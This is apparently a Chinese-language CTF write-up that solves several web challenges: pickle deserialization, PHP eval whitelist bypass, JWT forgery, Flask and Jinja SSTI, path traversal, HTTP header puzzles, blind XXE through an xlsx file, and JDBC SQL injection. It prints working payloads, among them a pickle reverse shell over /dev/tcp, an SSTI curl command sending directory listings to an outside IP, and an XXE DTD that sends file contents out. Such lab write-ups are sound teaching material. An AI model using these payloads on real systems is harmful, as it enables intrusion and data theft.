session=gAN9cQAoWAUAAABtb25leXEBTeoBWAcAAABoaXN0b3J5cQJdcQNYFQAAAFl1bW15IHN0YW5kYXJkIHBpY2tsZXEEYVgQAAAAYW50aV90YW1wZXJfaG1hY3EFWCAAAAAzNWUyYWM5ZmNlNDMzMTQ2MjAyZTlhMDNiMzE5N2Y3YXEGdS4=


用chatgpt也能识别出
那我们构造一个pickle

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os
from base64 import b64encode

class Test2(object):
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/0.0.0.0/6666 0>&1'"
return (os.system,(cmd,))

test = Test2()
result1 = pickle.dumps(test)
print(b64encode(result1).decode())

执行的是反弹shell操作,将获得的字符串替换原有的cookie,vps监听6666端口

[NESTCTF 2019]Love Math 2

打开页面给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

分析一下源码

1
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

对传入字符进行过滤(空格,\t,\r,\n,\,单引号、双引号,中括号)
绕过:在php中,get方法的[]可以用{}替代

1
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

使用的字符需要在$whitelist白名单中
限制比较严,我们可以使用的一些符号$ ( ) { } = ; ^ 我们需要知道的是PHP中函数名也是字符串,可以当作变量名来使用,例如$pi、$cos都是合法变量名。
我们考虑使用异或来拼接出一段指令
这里网上的师傅们写了一个fuzz脚本,我们可以拿异或好的字符串拼接出函数

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}


类似于这样,把它拼接起来

1
2
3
4
5
is_nan^23==>_G
tan^15==>ET
$pi=(mt_rand^(2).(3)).(tan^(1).(5)) 即 $pi=_GET
$pi=$$pi$pi=$_GET
$pi{1}($pi{2}) 即$_GET{0}($_GET{1})

23和15其实为字符串,如果为数字那么会异或不出想要的结果
其实就是把is_nan和tan这种内置函数当成字符串(因为白名单所限),与数字字符异或,如果有字符串23,那么就拿is_nan中的is和23异或,就得出_G
最后构造出payload

1
?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=cat /f*

因为单引号被过滤掉了,所以我们用括号来代替,应为点的运算符优先级大于异或,所以字符串例如(2).(3)先成为字符串23再和mt_rand异或

[RootersCTF2019]ImgXweb

题目里只发现了一个页面和登录注册的功能点

先注册一个用户,admin用户显示已注册,注册一个用户名为admin1的账号

登录成功后发现了一个文件上传的功能点
文件上传,不能传.htaccess类似的。到那时php类的可以穿,不解析
那么应该不是phpweb,java也不像。估计是python
然后session应该是jwt加密过的

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4xIn0.VegPTcu7uSEqaPfiQoq9AsDHnmQtP2b8zXwhYCXZh9A

扫描目录,发现robots.txt

发现一个名为/static/secretkey.txt的文本,进入后密钥为

1
you-will-never-guess

使用jwt.io解密

修改密钥和user然后替换session_id

以admin登录发现有个flag.png,点击超链接进入
查看源码发现flag

或者是curl去请求得到flagcurl的用法参考

[watevrCTF-2019]Supercalc

打开页面,我们发现一个计算框
我们输出1+1,返回了2
这种第一个想到的是ssti模板注入
我们输入常规测试语句49
结果发生报错

提示不能使用{},尝试让程序报错
在输入1/0时,得到报错

说明程序对报错没有做过滤,尝试输入#(注释)

1
1/0#{{2*4}}


可以看到模板语法中的式子被成功计算,看看是否能爆出secret_key的值,查看config

1
1/0#{{config}}


得到了secert_key的值为cded826a1e89925035cc05f0907855f7,满足了加密session的条件,构造本题所需的session
先解密session的格式

构造

1
{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}

使用flask-session-cookie加密脚本

成功伪造session

1
eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwibHNcIikucmVhZCgpIn1dfQ.ZytU5Q.JiZWE63uv1VBeg4RNxKxh7uackg

再伪造一个cat flag.txt就能得到flag了

[GWCTF 2019]你的名字


输入字符串会回显,大概率ssti
输入49给了错误提示

1
Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13

输入{1+3}照样输出
可能是过滤了
黑名单源代码
使用逻辑错误绕过

先是从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因为config字符串是在名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,所以我们在过滤字符中加入config就可以绕过
尝试一下,发现此payload中的if、os、class、mro、config,popen都会被过滤成空,那可以采取双写绕过的思想
os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen
payload可以写成如下形式

1
{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%}


也可以拼接绕过

1
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}

或者

1
2
3
4
5
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}

或者反弹shell

1
{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://1.2.17.27:6666/ -d `ls /|base64`') %}1{% endiconfigf %}

还有unicode绕过,ssti还有这种套路

1
2
3
4
5
{%print(lipsum|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u0065\u0076\u0061\u006c')('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0022\u006c\u0073\u0022\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029'))%}
相当于{%print(lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("ls").read()'))%}

{%print(lipsum|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('\u0065\u0076\u0061\u006c')('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0022\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0031\u0073\u005f\u0048\u0065\u0072\u0061\u0022\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029'))%}
cat /flag_1s_Hera

详情ssti unicode绕过
ssti分隔符

ssti常用到的一些语句

1
2
3
4
5
{{5*5}} 直接执行
{% set a="test" %}{{a}} //设置变量
{% for i in ['t ','e ','s ','t '] %}{{i}}{%endfor%} //执行循环
{% if 25==5*5 %}{{"success"}}{% endif %} //条件执行
{%print ’‘__.class__%} //会将执行结果输出,在{{过滤时有起效,如[GWCTF 2019]你的名字

virink_2019_files_share

查看源代码发现重要注释

1
2
<!-- Hint : flag in f1ag_Is_h3re -->
<!-- 趣味题,真的是为了出题而出题的,别打我。 By Virink -->

同时在源代码中看到一个上传目录
访问uploads,有两个超链接,分别是Preview和favicon.ico

点击一下preview超链接得到

1
http://xxx/preview?f=favicon.ico

看到这个格式很容易想到文件包含,首先读取一下/etc/passwd

双写绕过一下,发现还是无法读到,那么我们尝试../的方法
经过测试

1
preview?f=....//....//....//....//....//....//etctc//passwd


搞清楚规律接下来就可以来读flag了

但貌似f1ag_Is_h3re是个目录

1
/preview?f=....//....//....//....//....//....//f1ag_Is_h3re..//flag

[BSidesCF 2020]Hurdles

高级的http题

  • You’ll be rewarded with a flag if you can make it over some /hurdles.
    进入/hurdles目录即可

  • I’m sorry, I was expecting the PUT Method.
    这个hackrbar就搞不了,我们用curl

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles'

  • I’m sorry, Your path would be more exciting if it ended in !
    让我们在路径以!结尾,不能直接加,直接子目录

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles/!'

  • I’m sorry, Your URL did not ask to get the flag in its query string.

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag'

  • I’m sorry, I was looking for a parameter named &=&=&
    参数名为&=&=&,但我们不能直接把它当参数的

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=1'

  • I’m sorry, I expected ‘&=&=&’ to equal ‘%00 ‘

让它的值等于%00就是null(空字符),这里我们要再给他url编码一次而且注意%00后面跟着一个换行符

1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a'

  • I’m sorry, Basically, I was expecting the username player.

需要指定认证,知道了用户名为player,但不知道密码,先随便猜测一个密码,使用-u参数指定

1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:player'

  • I’m sorry, Basically, I was expecting the password of the hex representation of the md5 of the string ‘open sesame’
    密码是open sesame的MD5值

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b'

  • I’m sorry, I was expecting you to be using a 1337 Browser.

需要一个1337浏览器,加一个UA头

1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337'

  • I’m sorry, I was expecting your browser version (v.XXXX) to be over 9000!
    浏览器版本大于9000

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001'

  • I’m sorry, I was eXpecting this to be Forwarded-For someone!
    加个XFF头

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:127.0.0.1'

  • I’m sorry, I was eXpecting this to be Forwarded For someone through another proxy!

需要额外的代理转发

1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:127.0.0.1,12.12.12.12'

  • I’m sorry, I was expecting this to be forwarded through 127.0.0.1
1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:127.0.0.1,127.0.0.1'

  • I’m sorry, I was expecting the forwarding client to be 13.37.13.37
1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1'

  • I’m sorry, I was expecting a Fortune Cookie
1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -H 'cookie:Fortune=1'

  • I’m sorry, I was expecting the cookie to contain the number of the HTTP Cookie (State Management Mechanism) RFC from 2011.

1
curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -H 'cookie:Fortune=6265'

  • I’m sorry, I expect you to accept only plain text media (MIME) type.
    只接受纯文本(MIME)形式的请求,依然通过—H参数添加请求头信息Accept:text/plain,构造传参

    1
    curl -X PUT 'node5.buuoj.cn:28175/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -H 'cookie:Fortune=6265' -H 'accept:text/plain'

  • I’m sorry, Я ожидал, что вы говорите по-русски.
    翻译过来是 我以为你会说俄语。
    猜测其应该说的是ACCEpt-Language请求头属性,俄语表示为ru,构造传参

    1
    curl -X PUT 'node5.buuoj.cn:25968/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -H 'cookie:Fortune=6265' -H 'accept:text/plain' -H 'accept-Language:ru'

  • I’m sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net
    还以为构造referer头,其实是origin头

    1
    curl -X PUT 'node5.buuoj.cn:25968/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -H 'cookie:Fortune=6265' -H 'accept:text/plain' -H 'accept-Language:ru' -H 'origin:https://ctf.bsidessf.net'

  • I’m sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?

这回是referer

1
I'm sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?


到这里应该结束了,但是并没返回flag,可能在头信息中,加一个-i参数,查看头信息

1
url -X PUT 'node5.buuoj.cn:25968/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/1337 v.9001' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -H 'cookie:Fortune=6265' -H 'accept:text/plain' -H 'accept-Language:ru' -H 'origin:https://ctf.bsidessf.net' -H 'Referer:https://ctf.bsidessf.net/challenges' -i

群友的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];

if (!preg_match("/flag|system|php|cat|sort|shell_exec|eval|passthru|exec|proc_open|popen|`|\||;|<|\\\\|\(|\)/i", $x)) {
try {
if(strlen($x) < 50) {
// flag 位于 f1laggggg.php 文件中
eval($x);
} else {
echo "Input too long!";
}
} catch (Exception $e) {
echo "Error in execution!";
}
} else {
echo "Invalid input detected!";
}
} else {
highlight_file(__FILE__);
}

在水群的时候发现了这样的题,不知道是什么比赛
源码正则过滤了几乎所有命令执行函数,告诉了我们flag的位置,那么我们可以eval文件包含
payload

1
?x=include%20$_GET[1]%3f>&1=php://filter/read=convert.base64-encode/resource=f1laggggg.php

当然也可以执行其它文件的内容,可以配合内容马

1
"inc1ude()可以执行代码:?c=include%0a$_GET[1]?>&1=/var/1og/nginx/access.1og伪协议 php://filter/read=convert.base64-encode/resource=flag.php"

至于get后的?>我的理解是本题过滤了;而eval需要我们输入的句子中有;来作为代码块结束的标志,所以通过?>代替;直接代表php代码块的结束
不加?>会报eval的错

加了之后

[网鼎杯 2020 青龙组]filejava

知识点

  • web.xml文件泄露
  • blind xxe

    先随便上传一个文件,点进去,抓包

    看到有filename,猜测可能存在目录穿越以及任意文件下载
    从路径/UploadServlet可以看出是个java类
    尝试目录穿越过程并没有报错,但是其它博客都报了错误并返回了java路径
    既然有任意文件下载且是java文件,web.xml是java的配置文件
    我们可以把它下载下看看有什么可以利用的信息
    一般都在WEB-INF目录下
    1
    /DownloadServlet?filename=../../../../WEB-INF/web.xml

    在web.xml中找到了各个类的路径
    类一般都在WEB-INF/classes目录下
    把上面的类都下载下来
    1
    2
    3
    ../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
    ../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
    ../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
    拖到IDEA上反编译审计一下
    发现downloadservlet限制了flag的下载
    1
    2
    3
    4
    if (fileName != null && fileName.toLowerCase().contains("flag")) {
    request.setAttribute("message", "禁止读取");
    request.getRequestDispatcher("/message.jsp").forward(request, response);
    }

重点是uploadservlet里面当文件头为excel-并且结尾为xlsx是会对该文件进行操作,可能存在XXE

1
2
3
4
5
6
7
8
9
10
11
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
InvalidFormatException e = var20;
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}


漏洞利用为CVE-2014-3574
先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/penson.dtd">
%remote;%int;%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

在服务器创建penson.dtd文件

1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:6666?p=%file;'>">

监听上传刚才的xlsx文件

上传成功后,端口就会收到flag

这个xxe漏洞还会导致拒绝服务攻击

[网鼎杯 2020 朱雀组]Think Java

先获取源文件,题目给了一个class压缩包,里面有4个class文件
Test.class
接收dbName参数,然后调用getTableData方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.controller;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
public Test() {
}

@PostMapping({"/sqlDict"})
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}

Row.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.sqldict;

public class Row {
String name;
String type;
String def;
String isNull;
String isAuto;
String remark;
String isPK;
String size;

public String getIsPK() {
return this.isPK;
}

public void setIsPK(String isPK) {
this.isPK = isPK;
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}

public String getType() {
return this.type;
}

public void setType(String type) {
this.type = type;
}

public String getDef() {
return this.def;
}

public void setDef(String def) {
this.def = def;
}

public String getIsNull() {
return this.isNull;
}

public void setIsNull(String isNull) {
this.isNull = isNull;
}

public String getIsAuto() {
return this.isAuto;
}

public void setIsAuto(String isAuto) {
this.isAuto = isAuto;
}

public String getRemark() {
return this.remark;
}

public void setRemark(String remark) {
this.remark = remark;
}

public String getSize() {
return this.size;
}

public void setSize(String size) {
this.size = size;
}

public Row() {
}

public Row(String name, String type, String def, String isNull, String isAuto, String remark, String isPK, String size) {
this.name = name;
this.type = type;
this.def = def;
this.isNull = isNull;
this.isAuto = isAuto;
this.remark = remark;
this.isPK = isPK;
this.size = size;
}
}

SqlDict.class
连接数据库,其中sql语句存在sql注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.sqldict;

import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {
public SqlDict() {
}

public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;

try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}

if (user == null || dbName.equals("")) {
user = "root";
}

if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}

conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
ClassNotFoundException var5 = var5;
var5.printStackTrace();
} catch (SQLException var6) {
SQLException var6 = var6;
var6.printStackTrace();
}

return conn;
}

public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";

try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

while(tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);

while(rs.next()) {
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
}

table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

String PK;
for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
}

while(data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}

Tables.add(table);
}
} catch (SQLException var16) {
SQLException var16 = var16;
var16.printStackTrace();
}

return Tables;
}
}

Swagger

注意看Test.class,导入了swagger这个东西

资料显示

  • swagger-ui提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。也就是说接口查看地址可以通过服务地址/swagger-ui.html来访问。


访问swagger-ui.html,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着Test.class,我们可以通过传dbName来进行sql注入

至于login和current,题目给我们文件的时候只给了部分class文件,不过login应该是登录用的

JDBC sql注入

第一次做JAVA的sql注入,这里有个概念要理解一下
关于#的使用

  • jdbc类似URL解析。所以当我们输入myapp#’ union select 1#时

#在URL中是锚点,所以

1
2
3
4
5
6
7
8
jdbc:mysql://mysqldbserver:3306/myapp#' union select 1#
会被解析成
jdbc:mysql://mysqldbserver:3306/myapp

再代入sql语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES where table_schema= '#' union select 1#' and table_name='"+ TableName +"'

